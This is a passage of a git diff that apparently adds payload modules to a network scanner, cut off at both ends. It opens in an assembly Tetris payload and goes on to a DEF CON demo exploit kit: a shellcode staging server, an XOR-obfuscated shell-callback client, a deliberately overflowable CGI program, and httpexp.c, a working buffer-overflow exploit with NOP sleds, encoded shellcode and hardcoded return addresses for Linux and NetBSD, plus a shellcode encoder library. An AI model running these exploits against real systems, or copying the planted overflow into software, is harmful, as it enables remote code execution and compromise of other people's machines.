mov yposition, %al #%al contains the ypositions to test + xor %dh, %dh #number of lines eliminated + cmpb $height-1, %dl + jl elimline_skip + mov $height-1, %dl #%dl contains one more than the last value to test +elimline_skip: + xor %ebx, %ebx + mov $width, %bl + imul %eax, %ebx + add $screen, %ebx #ebx contains the start of the line + xor %ecx, %ecx +elimline_test: + inc %cl #%ecx contains the x position to test + cmpb $0x30, (%ecx, %ebx) #test this for each position in line + je elimline_linedone #ie: don't eliminate this line + cmpb $width-2, %cl + jne elimline_test + inc %dh + add $width, %ebx +elimline_loop: + dec %ebx + movb -width(%ebx), %cl + movb %cl, (%ebx) + cmp $screen+width, %ebx + jne elimline_loop +elimline_linedone: + inc %al + cmp %al, %dl + jne elimline_skip + mov %dx, %cx #for testing linesgone later + cmpb $4, %dh + je elimline_tetris + shr $8, %dx + + imul $scoreline, %dx + addw %dx, score + jmp elimline_finished +elimline_tetris: + addw $scoretetris, score +elimline_finished: + shr $8, %cx + movw linesgone, %ax + mov $speedup, %bl + div %bl + mov %al, %dl + addw %cx, linesgone + movw linesgone, %ax + div %bl + cmp %al, %dl + je elimline_samespeed + shrb $1, currentwait +elimline_samespeed: + call redraw + ret + +#Write the block into the screen array at xposition,yposition +storePiece: + addw $scorelockin, score + decw yposition + mov yposition, %ax + test %ax, %ax + jz gameover + + call coords + xor %eax, %eax + mov currentcolour, %bl + mov $screen, %ecx + storeLoop + + call elimline + mov currentcolour, %cl + movw $0, yposition + movw $2, xposition + movb $0, sleepcount + ret + +#Draw the current blockType at xposition,yposition (offset from xoffset, +#yoffset). Will be coloured depending on %cl. Update score +drawShape: + call coords + push %cx + drawLoop + movb $0x30, vt100_colour+3 + mov $vt100_colour, %ecx + xor %edx, %edx + mov $5, %dl + call sys_write + mvaddstr $instructionsY+2, $instructionsX, $scorestring, $7 + mov score, %ax + call numbertostring + call sys_write + mvaddstr $instructionsY+3, $instructionsX, $linestring, $7 + mov linesgone, %ax + call numbertostring + call sys_write + ret + +#Return the string location in %ecx, length in %edx, requires number in %ax +numbertostring: + mov $10, %bx + mov $stringbuffer+5, %ecx +numbertostring_loop: + dec %ecx + xor %dx,%dx + div %bx + add $0x30, %dx + movb %dl, (%ecx) + test %ax,%ax + jnz numbertostring_loop + mov %ecx,%ebx + sub $stringbuffer, %ebx + xor %edx, %edx + mov $5, %dl + sub %ebx, %edx + ret + +#Requires the y coord in %ax, x coord in %bx, val to colour in %cl +drawblock: + add $xoffset,%bx + add $yoffset,%ax + push %ax + push %bx + movb %cl, vt100_colour+3 + mov $vt100_colour, %ecx + xor %edx, %edx + mov $5, %dl + call sys_write + pop %cx + pop %ax + shl $1, %cx + mvaddstr %ax, %cx, $blankstring, $2 + ret + +#Redraw the playing area (doesn't update score) +redraw: + xor %ax, %ax #y +redraw_outer: + xor %ebx, %ebx #x +redraw_inner: + push %ebx + push %ax + + xor %ecx, %ecx + mov $width, %cl + imul %eax, %ecx + mov screen(%ebx, %ecx), %cx + + call drawblock + + pop %ax + pop %ebx + + inc %bl + cmpb $width, %bl + jl redraw_inner + inc %ax + cmpb $height, %al + jl redraw_outer + ret + +gameover: + mov currentcolour, %cl + call drawShape + movw $0x3030, vt100_colour+2 + mov $vt100_colour, %ecx + xor %edx, %edx + mov $5, %dl + call sys_write + movb $'h',vt100_cursor+5 + mov $vt100_cursor, %ecx + xor %edx, %edx + mov $6, %dl + call sys_write + cmpb $'q',buffer + jne gameover_loser + mvaddstr $instructionsY+4, $0, $exitstring, $13 + jmp gameover_quit +gameover_loser: + mvaddstr $instructionsY+4, $0, $loserstring, $6 +gameover_quit: + mov $scorestring, %ecx + xor %edx, %edx + mov $7, %dl + call sys_write + mov score, %ax + call numbertostring + call sys_write + mov $newline, %ecx + xor %edx, %edx + mov $1, %dl + call sys_write + mov $creditstring, %ecx + xor %edx, %edx + mov $41, %dl + call sys_write + getterm + or $10,-48(%ebp) #c_lflag |= (ICANON|ECHO) + setterm + sys_exit + +#Test the shape for any collision. If collision, then the zero flag will +#NOT be set +collisionTest: + call coords + xor %eax, %eax + mov $screen, %ebx + collisionLoop +collisionTest_over: + pop %dx + ret + +#Writes the number of rotations of blockType into %cl +numberrots: + xor %ebx, %ebx + mov blockType, %bl + test %bl,%bl + jz numberrots_zeroshape + add $shapeStarts, %ebx + mov (%ebx), %cl + sub -1(%ebx), %cl + jmp numberrots_done +numberrots_zeroshape: + mov shapeStarts, %cl +numberrots_done: + ret + +_tetris: + getterm + andb $245,-48(%ebp) #c_lflags &= ~(ICANON|ECHO) + setterm + + sys_times + mov %eax, lastrand #seed the randomizer + + mov $vt100_clear, %ecx + xor %edx, %edx + mov $4, %dl + call sys_write + mov $vt100_cursor, %ecx + xor %edx, %edx + mov $6, %dl + call sys_write + mov $vt100_colour, %ecx + xor %edx, %edx + mov $5, %dl + call sys_write + mvaddstr $instructionsY, $instructionsX, $namestring, $15 + mvaddstr $instructionsY+1, $instructionsX, $quitstring, $31 + + xor %al,%al + mov $screen,%ebx +tetris_yloop: + movb $0x31, (%ebx) #red for the playing arena + movb $0x31, width-1(%ebx) + xor %ecx, %ecx + mov $1,%cl +tetris_yloop_inner: + movb $0x30,(%ebx,%ecx) #init to black + inc %cl + cmpb $width-1,%cl + jl tetris_yloop_inner + + add $width,%ebx + inc %al + cmpb $height-1,%al + jl tetris_yloop + + xor %ebx, %ebx + mov $width,%bl + imul $height-1,%ebx + add $screen,%ebx + xor %eax,%eax +tetris_xloop: + movb $0x31,(%eax,%ebx) + inc %al + cmpb $width,%al + jl tetris_xloop + + call redraw + +playgame: + mov $6, %cl #7 shapes + call rand + movb %al, blockType + call numberrots + dec %cl + call rand + movb %al, rotation + mov $6, %cl + call rand + add $0x31, %al + mov %al, currentcolour + call collisionTest + jnz gameover + +playgame_keyloop: + sys_nanosleep $250000 + push %ebp + xor %eax,%eax + mov %esp,%ebp + sub $252,%esp + bts %eax,-128(%ebp) + lea -128(%ebp),%eax + mov %eax,selectargs+4 + sys_newselect + movl %ebp,%esp + pop %ebp + + test %eax,%eax + jnz playgame_checkkey +playgame_keychecked: + movb currentcolour, %cl + call drawShape + incb sleepcount + movb currentwait, %cl + cmpb %cl,sleepcount + jne playgame_keyloop + movb $0,sleepcount + mov $0x30, %cl #black to overwrite + call drawShape + incw yposition + call collisionTest + jz playgame_keychecked + call storePiece + jmp playgame +playgame_checkkey: + mov $0x30, %cl + call drawShape + xor %edx, %edx + mov $1, %dl + call sys_read + cmpb $'q',buffer + je gameover + cmpb $' ',buffer + jne playgame_checkarrow +playgame_droploop: + incw yposition + call collisionTest + jz playgame_droploop + call storePiece + addw $scoredrop, score + jmp playgame +playgame_checkarrow: + cmpb $0x1b,buffer #check for arrow key + jne playgame_keychecked + xor %edx, %edx + mov $2, %dl + call sys_read +#use a jump table later + movb buffer+1,%al + cmpb $'D',%al #Left arrow + jne playgame_nextkey + decw xposition + call collisionTest + jz playgame_nextkey + incw xposition +playgame_nextkey: + cmpb $'C',%al #Right Arrow + jne playgame_nextkey2 + incw xposition + call collisionTest + jz playgame_nextkey2 + decw xposition +playgame_nextkey2: + cmpb $'B',%al #Down Arrow + jne playgame_nextkey3 + incw yposition + call collisionTest + jz playgame_nextkey3 + decw yposition +playgame_nextkey3: + cmpb $'A',%al #Up Arrow + jne playgame_keychecked + xor %ah, %ah + mov rotation, %al + push %ax + inc %ax + call numberrots + divb %cl + movb %ah, rotation + call collisionTest + jz playgame_keychecked + pop %cx + mov %cl, rotation + jmp playgame_keychecked diff --git a/src/payload_modules/defcon_demo/stage2/sc_server.c b/src/payload_modules/defcon_demo/stage2/sc_server.c new file mode 100644 index 0000000..81cd910 --- /dev/null +++ b/src/payload_modules/defcon_demo/stage2/sc_server.c @@ -0,0 +1,193 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define SERVER_PORT 9875 + +static void do_child(int ); + +static void handle_sigchld(int signo) { + int status=0; + pid_t chld=0; + + chld=waitpid(-1, &status, WNOHANG); + + return; +} + +int main(int argc, char ** argv) { + struct sockaddr_in sin, cin; + int s=-1, c=-1, param=0; + socklen_t sl=0; + pid_t chld=0; + + s=socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) { + perror("socket"); + exit(1); + } + + signal(SIGCHLD, handle_sigchld); + + param=1; + if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (void *)¶m, sizeof(param)) < 0) { + perror("setsockopt"); + exit(1); + } + + sin.sin_family=AF_INET; + sin.sin_port=htons(SERVER_PORT); + sin.sin_addr.s_addr=0; + + printf("Listening on port %u\n", SERVER_PORT); + + if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { + perror("bind"); + exit(1); + } + + if (listen(s, 5) < 0) { + perror("listen"); + exit(1); + } + + while (1) { + sl=sizeof(cin); + if ((c=accept(s, (struct sockaddr *)&cin, &sl)) < 0) { + perror("accept"); + continue; + } + + chld=fork(); + if (chld < 0) { + perror("fork"); + exit(1); + } + else if (chld == 0) { + close(s); + do_child(c); + _exit(0); + } + else { + close(c); + } + } + + exit(0); +} + +static void do_child(int fd) { + char host[128]; + unsigned int platform=0, sc_size=0; + const char *fn=NULL, *plat=NULL; + ssize_t rret=0; + struct sockaddr_in sin; + struct stat sb; + off_t sfd_off=0; + int sfd=0; + socklen_t slen=0; + + slen=sizeof(sin); + if (getpeername(fd, (struct sockaddr *)&sin, &slen) < 0) { + perror("getpeername"); + goto error; + } + + if (sin.sin_family == AF_INET) { + sprintf(host, "%s:%u", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port)); + } + else { + printf("whoa, non inet4?\n"); + goto error; + } + + rret=read(fd, &platform, sizeof(platform)); + if (rret < 0) { + perror("read"); + close(fd); + goto error; + } + + switch (platform) { + case 0: + printf("what?\n"); + break; + case 1: + + plat="linux-x86"; + fn="linux-x86.bin"; + break; + + case 2: + + plat="netbsd-x86"; + fn="netbsd-x86.bin"; + break; + + default: + printf("Unknown platform %d\n", platform); + goto error; + } + + if (stat(fn, &sb) < 0) { + fprintf(stderr, "Cant open %s: %s", fn, strerror(errno)); + goto error; + } + + sc_size=(unsigned int)sb.st_size; + printf("%s %s payload is %u bytes\n", host, plat, sc_size); + if (write(fd, &sc_size, sizeof(sc_size)) < 0) { + perror("write"); + goto error; + } + + sfd=open(fn, O_RDONLY); + if (sfd < 0) { + fprintf(stderr, "Cant open %s: %s", fn, strerror(errno)); + goto error; + } + + sfd_off=0; + if (sendfile(fd, sfd, &sfd_off, sb.st_size) < 0) { + perror("sendfile"); + goto error; + } + +error: + printf("%s Closing\n", host); + fflush(stdout); + + if (sfd) close(sfd); + if (fd) close(fd); + + return; +} diff --git a/src/payload_modules/defcon_demo/stage2/shclient.c b/src/payload_modules/defcon_demo/stage2/shclient.c new file mode 100644 index 0000000..0cfdf97 --- /dev/null +++ b/src/payload_modules/defcon_demo/stage2/shclient.c @@ -0,0 +1,166 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#ifndef TIOCGWINSZ + #include +#endif + +#define PORT 9876 + + +int tty_raw(void) { + struct termios ti; + int ret=0; + + ti.c_iflag |= IGNPAR; + ti.c_iflag &= ~(ISTRIP|INLCR|IGNCR|ICRNL|IXON|IXANY|IXOFF); +#ifdef IUCLC + ti.c_iflag &= ~IUCLC; +#endif + + ti.c_lflag &= ~(ISIG|ICANON|ECHO|ECHOE|ECHOK|ECHONL); +#ifdef IEXTEN + ti.c_lflag &= ~IEXTEN; +#endif + ti.c_oflag &= ~OPOST; + + ti.c_cc[VMIN] = 1; + ti.c_cc[VTIME] = 0; + + ret=tcsetattr(fileno(stdout), TCSADRAIN, &ti); + + return ret; +} + +int main(int argc, char ** argv) { + struct pollfd fds[2]; + struct sockaddr_in sin, cin; + char rbuf[1024]; + int s=-1, c=-1, pret=0, param=0; + size_t j=0; + ssize_t rret=0; + socklen_t sl=0; + uint8_t rkey=0x41, wkey=0x41; + + s=socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) { + perror("socket"); + exit(1); + } + + param=1; + if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (void *)¶m, sizeof(param)) < 0) { + perror("setsockopt"); + exit(1); + } + + sin.sin_family=AF_INET; + sin.sin_port=htons(PORT); + sin.sin_addr.s_addr=0; + + if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { + perror("bind"); + exit(1); + } + + if (listen(s, 5) < 0) { + perror("listen"); + exit(1); + } + + printf("Waiting on port %d\n", PORT); + + sl=sizeof(cin); + if ((c=accept(s, (struct sockaddr *)&cin, &sl)) < 0) { + perror("accept"); + exit(1); + } + + close(s); + + tty_raw(); + + for (;;) { +again: + memset(&fds[0], 0, sizeof(struct pollfd) * 2); + fds[0].fd=0; + fds[1].fd=c; + fds[0].events=POLLIN; + fds[1].events=POLLIN; + pret=poll(&fds[0], 2, 10); + if (errno == EINTR && pret < 0) goto again; + + if (pret < 0) { + perror("poll"); + exit(1); + } + + if (pret > 0) { + /* stdin readable? */ + if (fds[0].revents & POLLIN) { + memset(rbuf, 0, sizeof(rbuf)); + rret=read(fds[0].fd, rbuf, sizeof(rbuf) -1); + if (rret < 0) { + perror("read"); + exit(1); + } + if (rret > 0) { + for (j=0 ; j < (size_t )rret ; j++) { + rbuf[j] ^= rkey++; + } + if (write(c, rbuf, (size_t )rret) < 0) { + perror("write"); + exit(1); + } + } + } + /* socket readable? */ + if (fds[1].revents & POLLIN) { + memset(rbuf, 0, sizeof(rbuf)); + rret=read(fds[1].fd, rbuf, sizeof(rbuf) - 1); + if (rret < 0) { + perror("read"); + exit(1); + } + if (rret > 0) { + for (j=0 ; j < (size_t )rret ; j++) { + rbuf[j] ^= wkey++; + } + if (write(2, rbuf, (size_t)rret) < 0) { + perror("write"); + exit(1); + } + } + } + } + + } + + exit(0); +} diff --git a/src/payload_modules/defcon_demo/stage2/vuln/overflow.cgi.c b/src/payload_modules/defcon_demo/stage2/vuln/overflow.cgi.c new file mode 100644 index 0000000..a4b7c7a --- /dev/null +++ b/src/payload_modules/defcon_demo/stage2/vuln/overflow.cgi.c @@ -0,0 +1,81 @@ +#include +#include +#include +#include + +#include + +#define MAX(x, y) ((x) > (y) ? (x) : (y)) +#define MIN(x, y) ((x) < (y) ? (x) : (y)) + +#define MIME_HEADER "Content-Type: text/html\r\n\r\n" +#define HTML_HEADER "cgi" +#define HTML_TRAILER "" + +void display_query_string(const char *); + +int main(int argc, char ** argv) { + char *ptr=NULL, *envptr=NULL; + + write(1, MIME_HEADER, strlen(MIME_HEADER)); + + write(1, HTML_HEADER, strlen(HTML_HEADER)); + + envptr=getenv("QUERY_STRING"); + if (envptr) { + ptr=curl_unescape(envptr, strlen(envptr)); + + display_query_string(ptr); + } + else { + printf("No QUERY_STRING
    \n"); + } + + write(1, HTML_TRAILER, strlen(HTML_TRAILER)); + + fsync(1); + + exit(0); +} + +void display_query_string(const char *instr) { + char outstr[1024], *outptr=NULL; + size_t j; + + if (instr == NULL) { + write(1, "NO QUERY STRING
    \n", 21); + return; + } + + memset(outstr, 0, sizeof(outstr)); + + outptr=&outstr[0]; + + /* there are still overflows out there that look like this */ + + for (j=0 ; j < MIN(strlen(instr), sizeof(outstr) -1) ; j++) { + if (instr[j] == '>' || instr[j] == '<') { + switch (instr[j]) { + case '>': + strcat(outptr, ">"); + outptr += 4; + break; + case '<': + strcat(outptr, "<"); + outptr += 4; + break; + } + } + else { + *outptr=instr[j]; + outptr++; + } + } + + *outptr='\0'; + + printf("Query String "%s"
    \n", outstr); + fflush(stdout); + + return; +} diff --git a/src/payload_modules/http.c b/src/payload_modules/http.c new file mode 100644 index 0000000..f5fb309 --- /dev/null +++ b/src/payload_modules/http.c @@ -0,0 +1,81 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include + +#include +#include +#include + +int create_payload(uint8_t **, uint32_t *, void *); +int init_module(mod_entry_t *); +void delete_module(void); + +static mod_entry_t *_m=NULL; +static const settings_t *s=NULL; + +int init_module(mod_entry_t *m) { + snprintf(m->license, sizeof(m->license) -1, "GPLv2"); + snprintf(m->author, sizeof(m->author) -1, "jack"); + snprintf(m->desc, sizeof(m->desc) -1, "http 1.1 request"); + m->iver=0x0103; + m->type=MI_TYPE_PAYLOAD; + + m->param_u.payload_s.sport=-1; + m->param_u.payload_s.dport=80; + m->param_u.payload_s.proto=IPPROTO_TCP; + m->param_u.payload_s.payload_group=1; + + _m=m; + s=_m->s; + return 1; +} + +void delete_module(void) { + return; +} + +#define REQUEST "GET / HTTP/1.1\r\n" \ + "Host: %s\r\n" \ + "User-Agent: Mozilla/4.0 (compatible; http://www.dyadsecurity.com/s_bot.html)\r\n" \ + "Connection: Close\r\n\r\n" + +int create_payload(uint8_t **data, uint32_t *dlen, void *i) { + union { + void *p; + ip_report_t *ir; + } i_u; + char request[256]; + struct in_addr ia; + + i_u.p=i; + + assert(i != NULL && i_u.ir->magic == IP_REPORT_MAGIC); + + ia.s_addr=i_u.ir->host_addr; + snprintf(request, sizeof(request) -1, REQUEST, inet_ntoa(ia)); + + *dlen=(uint32_t)strlen(request); + *data=(uint8_t *)xstrdup(request); + + return 1; +} diff --git a/src/payload_modules/httpexp.c b/src/payload_modules/httpexp.c new file mode 100644 index 0000000..6675187 --- /dev/null +++ b/src/payload_modules/httpexp.c @@ -0,0 +1,211 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +/* This is an example http cgi exploit like module */ + +#ifndef _GNU_SOURCE +# define _GNU_SOURCE +#endif + +#include + +#include +#include +#include + +#include +#include +#include +#include + +#include + +#define BANNED "?&#+ \t\f\v\r\n%<>\"" + +int create_payload(uint8_t **, uint32_t *, void *); +int init_module(mod_entry_t *); +void delete_module(void); + +static mod_entry_t *_m=NULL; +static const settings_t *s=NULL; + +int init_module(mod_entry_t *m) { + snprintf(m->license, sizeof(m->license) -1, "GPLv2"); + snprintf(m->author, sizeof(m->author) -1, "jack"); + snprintf(m->desc, sizeof(m->desc) -1, "http 1.1 example exploit"); + m->iver=0x0103; + m->type=MI_TYPE_PAYLOAD; + + m->param_u.payload_s.sport=-1; + m->param_u.payload_s.dport=80; + m->param_u.payload_s.proto=IPPROTO_TCP; + m->param_u.payload_s.payload_group=3; + + _m=m; + s=_m->s; + return 1; +} + +void delete_module(void) { + return; +} + +static int osfound=0; +static char *os_str=NULL; + +static void httpexp_find_os(void *ptr) { + union { + void *ptr; + output_data_t *d; + } d_u; + + if (ptr == NULL || osfound != 0) return; + + d_u.ptr=ptr; + + if (d_u.d->type == OD_TYPE_OS) { + osfound=1; + DBG(M_SND, "OS %s", d_u.d->t_u.os); + os_str=xstrdup(d_u.d->t_u.os); + } +} + +int create_payload(uint8_t **data, uint32_t *dlen, void *ir) { + union { + void *ptr; + ip_report_t *ir; + } i_u; + struct __attribute__((packed)) { + char stuffz[764]; + char thorn[71]; /* 16 * 4 */ + uint32_t eip0; + uint32_t eip1; + uint32_t eip2; + uint32_t null; + /* ecx is pointing to the Query String= `.... stuff , bounce from libc * + * from call *72(%ecx) at 0x52b48, for example */ + } slack10_x86_O2_gcc334_oi; + struct __attribute__((packed)) { + char stuffz[976]; + char thorn[18]; + uint32_t eip0; + uint32_t eip1; + uint32_t eip2; + uint32_t eip3; + uint32_t null; + } netbsd20_x86_O2_gcc333_oi; + char *sc=NULL; + size_t sc_len=0; + int fd=-1; + char scbuf[1024], outbuf[2048]; + struct stat sb; + + osfound=0; + os_str=NULL; + + memset(scbuf, 0, sizeof(scbuf)); + + i_u.ptr=ir; + if (ir == NULL || i_u.ir->od_q == NULL || i_u.ir->magic != IP_REPORT_MAGIC) { + PANIC("cant exploit without info"); + return 1; + } + + fifo_walk(i_u.ir->od_q, httpexp_find_os); + + if (osfound == 0 || os_str == NULL) { + return 1; + } + + if (strstr(os_str, "NetBSD") != NULL) { + VRB(0, "sending NetBSD stage1"); + + fd=open("/tmp/netbsd-stage1.bin", O_RDONLY); + + if (fd < 0) { + PANIC("cant open /tmp/netbsd-stage1.bin"); + } + if (fstat(fd, &sb) < 0) { + PANIC("cant stat /tmp/netbsd-stage1.bin"); + } + if (read(fd, scbuf, sb.st_size) != sb.st_size) { + PANIC("cant read /tmp/netbsd-stage1.bin"); + } + close(fd); + + netbsd20_x86_O2_gcc333_oi.eip0=0x0804b010; + netbsd20_x86_O2_gcc333_oi.eip1=0x0804b010; + netbsd20_x86_O2_gcc333_oi.eip2=0x0804b010; + + memset(netbsd20_x86_O2_gcc333_oi.stuffz, 0x43, sizeof(netbsd20_x86_O2_gcc333_oi.stuffz)); + + rand_nops(netbsd20_x86_O2_gcc333_oi.stuffz, sizeof(netbsd20_x86_O2_gcc333_oi.stuffz), BANNED, PLT_NBSDX86); + sc_len=400; + sc=encode(scbuf, sb.st_size, BANNED, ENC_XOR, FLG_RAND|FLG_RANDP, PLT_NBSDX86, &sc_len); + if (sc == NULL) { + PANIC("Cant create shellcode!"); + } + memcpy(netbsd20_x86_O2_gcc333_oi.stuffz + (sizeof(netbsd20_x86_O2_gcc333_oi.stuffz) - strlen(sc)), sc, strlen(sc)); + memset(netbsd20_x86_O2_gcc333_oi.thorn, '<', sizeof(netbsd20_x86_O2_gcc333_oi.thorn)); + netbsd20_x86_O2_gcc333_oi.null=0; + + snprintf(outbuf, sizeof(outbuf) - 1, "GET /cgi-bin/overflow.cgi?%s HTTP/1.0\r\n\r\n", + (char *)&netbsd20_x86_O2_gcc333_oi); + } + else if (strstr(os_str, "Linux") != NULL) { + VRB(0, "sending Linux stage1"); + + fd=open("/tmp/linux-stage1.bin", O_RDONLY); + if (fd < 0) { + PANIC("cant open /tmp/linux-stage1.bin"); + } + if (fstat(fd, &sb) < 0) { + PANIC("cant stat /tmp/linux-stage1.bin"); + } + if (read(fd, scbuf, sb.st_size) != sb.st_size) { + PANIC("cant read /tmp/linux-stage1.bin"); + } + close(fd); + + slack10_x86_O2_gcc334_oi.eip0=0xbfffedc0; + slack10_x86_O2_gcc334_oi.eip1=0xbfffedc0; + slack10_x86_O2_gcc334_oi.eip2=0xbfffedc0; + + rand_nops(slack10_x86_O2_gcc334_oi.stuffz, sizeof(slack10_x86_O2_gcc334_oi.stuffz), BANNED, PLT_LINXX86); + sc_len=400; + sc=encode(scbuf, sb.st_size, BANNED, ENC_XOR, FLG_RAND|FLG_RANDP, PLT_LINXX86, &sc_len); + if (sc == NULL) { + PANIC("Cant create shellcode!"); + } + memcpy(slack10_x86_O2_gcc334_oi.stuffz + (sizeof(slack10_x86_O2_gcc334_oi.stuffz) - strlen(sc)), sc, strlen(sc)); + memset(slack10_x86_O2_gcc334_oi.thorn, '<', sizeof(slack10_x86_O2_gcc334_oi.thorn)); + slack10_x86_O2_gcc334_oi.null=0; + + snprintf(outbuf, sizeof(outbuf) -1, "GET /cgi-bin/overflow.cgi?%s HTTP/1.0\r\n\r\n", + (char *)&slack10_x86_O2_gcc334_oi); + } + else { + return 1; + } + + + *data=(uint8_t *)xstrdup(outbuf); + *dlen=(uint32_t)strlen((const char *)data); + + return 1; +} diff --git a/src/payload_modules/libunirainbow/Makefile.in b/src/payload_modules/libunirainbow/Makefile.in new file mode 100644 index 0000000..bccc23c --- /dev/null +++ b/src/payload_modules/libunirainbow/Makefile.in @@ -0,0 +1,23 @@ +include ../../../Makefile.inc + +SRCS=common.c x86_alpha.c x86_jmpsled.c x86_nops.c x86_xor.c fstwrtr.c +HDRS=libunirainbow.h + +OBJS=$(SRCS:.c=.lo) +LIBNAME=libunirainbow.la + +all: $(LIBNAME) + +$(OBJS): $(HDRS) + +$(LIBNAME): $(OBJS) + $(LIBTOOL) --mode=link $(CC) $(CFLAGS) -o $(LIBNAME) $(OBJS) + +clean: + $(LIBTOOL) --mode=clean rm -f $(OBJS) + $(LIBTOOL) --mode=clean rm -f $(LIBNAME) + +distclean: clean + +install: all +uninstall: diff --git a/src/payload_modules/libunirainbow/TODO b/src/payload_modules/libunirainbow/TODO new file mode 100644 index 0000000..1351165 --- /dev/null +++ b/src/payload_modules/libunirainbow/TODO @@ -0,0 +1,8 @@ +Compress shellcode and decode with xor loader +fix jmpsled thingy to be a little less retarded +nop generation can use work +alpha encoder isnt done +prand needs to be registered with an instance, so that the user can overwrite hooks with their own prng +ppc, sparc, alpha, mips (heh, little or big endian too!), s390 and pa-risc ports and 64 bit variants of popular cpus +make a tetris payload, cause that would be awesome. +learn python so i can finish the python port ;] diff --git a/src/payload_modules/libunirainbow/common.c b/src/payload_modules/libunirainbow/common.c new file mode 100644 index 0000000..f736c53 --- /dev/null +++ b/src/payload_modules/libunirainbow/common.c @@ -0,0 +1,92 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include +#include + +#include +#include + +#include + +#include "libunirainbow.h" + +int lr_rand_get(int max) { + return prng_get32() % max; +} + +char *encode(const char *shellcode, size_t shellcode_len, const char *banned, int type, int flags, int platform, size_t *ls) { + switch (type) { + case ENC_XOR: + switch (platform) { + case PLT_LINXX86: + case PLT_NBSDX86: + case PLT_OBSDX86: + case PLT_FBSDX86: + return x86_xor_encode(shellcode, shellcode_len, banned, flags, ls); + default: + ERR("unsupported XOR encoder platform %d\n", platform); + return NULL; + } + break; + case ENC_ALP: + switch (platform) { + case PLT_LINXX86: + case PLT_NBSDX86: + case PLT_OBSDX86: + case PLT_FBSDX86: + return x86_alpha_encode(shellcode, shellcode_len, banned, flags, ls); + default: + ERR("unsupported ALPHA encoder platform %d\n", platform); + return NULL; + + } + default: + ERR("unknown encoding type %d", type); + return NULL; + } +} + +int rand_nops(char *buf, size_t len, const char *banned, int platform) { + switch (platform) { + case PLT_LINXX86: + case PLT_OBSDX86: + case PLT_NBSDX86: + case PLT_FBSDX86: + return x86_rand_nops(buf, len, banned); + default: + ERR("unknown platform for rand_nops %d\n", platform); + break; + } + return -1; +} + +int jump_sled(char *buf, size_t len, const char *banned, int platform) { + switch (platform) { + case PLT_LINXX86: + case PLT_OBSDX86: + case PLT_NBSDX86: + case PLT_FBSDX86: + return x86_jump_sled(buf, len, banned); + default: + ERR("unknown platform for jump_sled %d\n", platform); + break; + } + + return -1; +} diff --git a/src/payload_modules/libunirainbow/fstwrtr.c b/src/payload_modules/libunirainbow/fstwrtr.c new file mode 100644 index 0000000..ce4daed --- /dev/null +++ b/src/payload_modules/libunirainbow/fstwrtr.c @@ -0,0 +1,69 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License 